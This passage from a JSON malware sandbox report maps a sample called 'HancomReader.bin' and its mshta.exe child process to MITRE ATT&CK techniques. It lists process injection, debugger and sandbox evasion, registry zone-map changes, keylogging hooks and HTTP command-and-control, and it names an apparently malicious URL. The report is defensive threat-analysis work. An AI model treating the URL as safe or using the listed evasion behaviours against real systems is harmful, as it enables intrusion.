APIs"},{"type":"suspicious","value":"Contains ability to execute program"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"malicious","value":"Calls an API typically used to run the specified application"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Connects to LPC ports"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains reference to multiple windows system processes"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Persistence","technique":"DLL Side-Loading","attack_id":"T1574.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/002","identifiers":[{"type":"informative","value":"Fails to load modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to access device drivers"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"suspicious","value":"Contains ability to retrieve the contents of the STARTUPINFO structure"},{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Writes data to a remote process"},{"type":"informative","value":"Found PE header in memory"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"},{"type":"informative","value":"Contains ability to check debugger is running (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"suspicious","value":"Calls an API typically used to find device information"},{"type":"informative","value":"Contains ability to detect virtual environment (API)"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay the execution of current thread"},{"type":"suspicious","value":"Possibly tries to evade analysis by sleeping many times"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Tries to map intranet network resources to internet zone"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Defense Evasion","technique":"Mshta","attack_id":"T1218.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1218/005","identifiers":[{"type":"malicious","value":"Detected mshta.exe process execution"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"},{"type":"informative","value":"Contains ability to query local/system time as file time"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Shows ability to obfuscate file or information"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Defense Evasion","technique":"Code Signing Policy Modification","attack_id":"T1553.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/006","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","identifiers":[{"type":"suspicious","value":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Contains ability to enumerate running processes using Tasklist"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Calls an API typically used to open an existing named mutex object"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to retrieve information about operating system (API string)"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"suspicious","value":"Contains ability to retrieve a module handle"},{"type":"informative","value":"Calls an API typically used to get system version information"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Calls an API's typically used for searching a directory for a files"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Touches files in program files directory"},{"type":"informative","value":"References Windows filepaths for DLLs (possible dropped files)"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Contains registry location strings"},{"type":"suspicious","value":"Checks warning level of secure to non-secure traffic redirection"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Queries TCP/IP interface details"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API typically used to get active windows title"},{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"},{"type":"informative","value":"Contains ability to query machine time"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Discovery","technique":"System Network Connections Discovery","attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"suspicious","value":"Possibly checks for known debuggers/analysis tools"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to retrieve system network configuration"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Lateral Movement","technique":"Remote Services","attack_id":"T1021","attack_id_wiki":"https://attack.mitre.org/techniques/T1021","identifiers":[{"type":"informative","value":"Calls an API typically used to register an interface (RPC)"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Calls an API possibly used to take screenshots"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Uses a browser-related user-agent without launching browser"},{"type":"informative","value":"Calls an API used to connect to internet"},{"type":"informative","value":"GETs files from a webserver"},{"type":"informative","value":"Communicates with HTTP webserver (GET/POST requests)"},{"type":"informative","value":"Tries to GET non-existent files from a webserver"},{"type":"informative","value":"Found user-agent related strings"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Calls an API typically used to create a new HTTP request"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Found potential URLs in memory dumps"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"suspicious","value":"References URL in command line"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to load a resource in memory","description":"\"mshta.exe\" called \"LoadResource with parameter {'hModule': '1740963840', 'hResInfo': '59944368'}\" (UID: 00000000-00003372)\n \"mshta.exe\" called \"LoadResource with parameter {'hModule': '1830027264', 'hResInfo': '1831068024'}\" (UID: 00000000-00003372)\n \"mshta.exe\" called \"LoadResource with parameter {'hModule': '1830027264', 'hResInfo': '1831068008'}\" (UID: 00000000-00003372)\n \"mshta.exe\" called \"LoadResource with parameter {'hModule': '1740963840', 'hResInfo': '59945760'}\" (UID: 00000000-00003372)\n \"mshta.exe\" called \"LoadResource with parameter {'hModule': '1740963840', 'hResInfo': '59945888'}\" (UID: 00000000-00003372)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; File: \"HancomReader.bin\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00003992.00000000.66619.00370000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00003992.00000001.66972.00370000.00000002.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Tries to map intranet network resources to internet zone","description":"\"mshta.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"UNCASINTRANET\"; Value: \"00000000\")","origin":"Registry Access","mitre_attack_id":"T1562.001","relevance":1,"id":"registry-179","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"HancomReader.bin\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"HancomReader.bin\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"HancomReader.bin\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"HancomReader.bin\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"HancomReader.bin\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"HancomReader.bin\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00003992-44969-12-00371088\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00003992-44969-33-003713D3\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00003992-44969-278-0037162B","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1622","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$25","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$26","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Reads the cryptographic machine GUID\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: Calls an API typically used to create a new HTTP request\n Matched sigs: Calls an API typically used to create a HTTP or FTP session\n Matched sigs: Spawned process connects to a network\n Matched sigs: Contacts server\n Matched sigs: Contacts domains\n Matched sigs: Found potential URL in binary/memory\n Matched sigs: Contains ability to communicate with network (API string)\n Matched sigs: Found potential URLs in memory dumps","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\".exe\" called \"IsWow64Process\" with parameter \"3992\" - (UID: 00000000-00003992)\n \"mshta.exe\" called \"IsWow64Process\" with parameter \"3372\" - (UID: 00000000-00003372)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get active windows title","description":"\"mshta.exe\" called \"GetWindowTextW\" (UID: 00000000-00003372)\n \"mshta.exe\" called \"GetWindowTextW\" with parameter \"http://goodmarket.or.kr/member/check/dat/1.html\" - (UID: 00000000-00003372)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-151","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"mshta.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00003372)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$27","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to open an existing named mutex object","description":"\"mshta.exe\" called \"OpenMutexW\" with parameter \"Local\\MSCTF.Asm.MutexDefault1\" - (UID: 00000000-00003372)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-144","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$28","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"mshta.exe\" called \"LookupAccountSidW\" with param Name L8rWstU (UID: 00000000-00003372)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"mshta.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00003372)\n \"mshta.exe\" called \"GetLocaleInfoW\" with parameter \"1024\" - (UID: 00000000-00003372)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to detect virtual environment (API)","description":"GetTickCount@KERNEL32.DLL at 00000000-00003992-44969-108-003729BF","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":3,"id":"stream-87","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"HancomReader.bin\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00003992.00000000.66619.00377000.00000002.mdmp, 00000000-00003992.00000001.66972.00377000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query local/system time as file time","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00003992-44969-108-003729BF","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1070.006","relevance":1,"id":"stream-71","sources":[{"report_type":"sandbox","report_id":"64f19c86a84e48d9cd0b86a2"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00003992-44969-108-003729BF","origin":"Hybrid Analysis 